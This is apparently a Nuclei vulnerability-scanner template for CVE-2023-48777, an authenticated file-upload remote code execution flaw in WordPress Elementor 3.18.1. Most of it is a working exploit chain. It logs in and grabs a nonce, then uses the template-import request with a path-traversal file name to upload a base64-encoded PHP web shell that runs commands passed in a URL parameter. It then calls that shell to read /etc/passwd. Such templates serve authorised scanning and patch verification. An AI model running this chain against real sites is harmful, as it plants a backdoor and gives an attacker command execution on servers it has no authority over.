WordPress Elementor 3.18.1 - File Upload/Remote Code Execution

id: CVE-2023-48777

info:
  name: WordPress Elementor 3.18.1 - File Upload/Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    The plugin is vulnerable to Remote Code Execution via file upload via the template import functionality, allowing authenticated attackers, with contributor-level access and above, to upload files and execute code on the server.
  impact: |
    Authenticated attackers with contributor-level access can exploit template import functionality to upload arbitrary files and execute code on WordPress servers running Elementor.
  remediation: Fixed in 3.18.2
  reference:
    - https://wpscan.com/vulnerability/a6b3b14c-f06b-4506-9b88-854f155ebca9/
    - https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-18-0-arbitrary-file-upload-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2023-48777
    cwe-id: CWE-434
    epss-score: 0.041
    epss-percentile: 0.90833
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 4
    framework: wordpress
    publicwww-query: "/wp-content/plugins/elementor/"
    product: website_builder
    vendor: elementor
  tags: cve,cve2023,elementor,file-upload,intrusive,rce,wpscan,wordpress,wp-plugin,authenticated,vkev,vuln
variables:
  filename: "{{rand_base(6)}}"
  payload: '{"import_template":{"action":"import_template","data":{"fileName":"/../../../../{{filename}}.php","fileData":"PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4="}}}'

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/post.php?post=1&action=elementor HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        actions={{url_encode(payload)}}&_nonce={{nonce}}&editor_post_id=1&initial_document_id=1&action=elementor_ajax

      - |
        GET /wp-content/{{filename}}.php?cmd=cat+/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body_4)"
          - "status_code_4 == 200"
        condition: and

    extractors:
      - type: regex
        internal: true
        name: nonce
        part: body
        group: 1
        regex:
          - 'admin\\\/admin\-ajax\.php","nonce":"([0-9a-z]+)"'